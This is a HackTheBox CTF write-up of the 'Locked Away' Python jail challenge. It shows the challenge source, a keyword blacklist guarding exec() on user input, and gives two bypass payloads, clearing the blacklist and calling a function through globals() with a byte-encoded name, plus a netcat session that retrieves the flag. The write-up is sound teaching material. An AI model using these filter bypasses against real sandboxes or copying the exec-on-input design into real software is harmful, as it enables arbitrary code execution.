HackTheBox Locked Away | Python CTF Writeups
The article covers a write-up of the "Locked Away" Python challenge from HackTheBox. It details how the challenge involves a Python Jail (PyJail), which restricts the use of certain commands via a blacklist. The author explains two main methods to bypass these restrictions: clearing the blacklist using Python's clear() function, and using the globals() function to execute the desired commands. Both methods allow the player to retrieve the hidden flag.
Introduction
A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic – a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?
General Overview
We are given the source code in main.py
banner = r'''
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
print(banner)
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception:
print('You have been locked away...')
exit(1337)
Essentially, our input is checked against a blacklist, and if any blacklisted strings are detected, the input is rejected. If not, it’s sent to exec() for direct code execution. By calling open_chest(), we can retrieve the flag. However, an invalid command terminates the process, making boolean-based extraction impossible. This is a typical PyJail challenge!
The blacklisted words:
blacklist = [ 'import', 'os', 'sys', 'breakpoint', 'flag', 'txt', 'read', 'eval', 'exec', 'dir', 'print', 'subprocess', '[', ']', 'echo', 'cat', '>', '<', '"', '\'', 'open' ]
The function that gives the flag:
def open_chest(): with open('flag.txt', 'r') as f: print(f.read())
What is PyJail
PyJail (short for “Python Jail”) refers to a security mechanism or sandbox used to isolate the execution of Python code. The idea behind PyJail is to limit what a Python program or script can do when it runs, especially in environments where users can submit or execute their own code. This is commonly implemented to prevent malicious activities, unauthorized access to system resources, or execution of harmful commands on the host machine.
Key Aspects of PyJail:
Walkthrough
Method [1]
We can’t directly call open_chest() because “open” is blocked by the blacklist. How can we get around the blacklist? Although there are probably many approaches, the method we’ll outline here is likely the easiest. Rather than trying to bypass the blacklist, we’ll overwrite it. One initial idea could be to achieve this using the following approach:
blacklist = []
However, this approach includes two blocked characters: [ and ]. With a bit of research, the user might discover the clear() function for Python lists, which can be used to empty the array. This method avoids any blacklisted strings!
blacklist.clear()
After clearing the blacklist, we are free to execute any Python code we want to read the flag.
open_chest()
Method [2]
In Python, there’s a built-in function called globals(), which returns a dictionary containing all global functions and variables within the script.
$ python3 -q >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>} >>> b = 2
>>> globals().get('b')
2
Now, we just need to represent a string without using single or double quotes. There are several ways to achieve this, such as using a list of integers to represent bytes or by utilizing chr() and the + operator.
>>> list(b'open_chest')
[111, 112, 101, 110, 95, 99, 104, 101, 115, 116] >>> bytes([111, 112, 101, 110, 95, 99, 104, 101, 115, 116]).decode() 'open_chest'
>>> chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116)
'open_chest'
With everything ready, we call open_chest
$ nc 94.237.54.201 58952
.____ __ .___ _____ | | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__. | | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | | | |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ | |_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____| \/ \/ \/ \/ \/ \/ \/\/ The chest lies waiting...
globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())() HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}
You can also watch: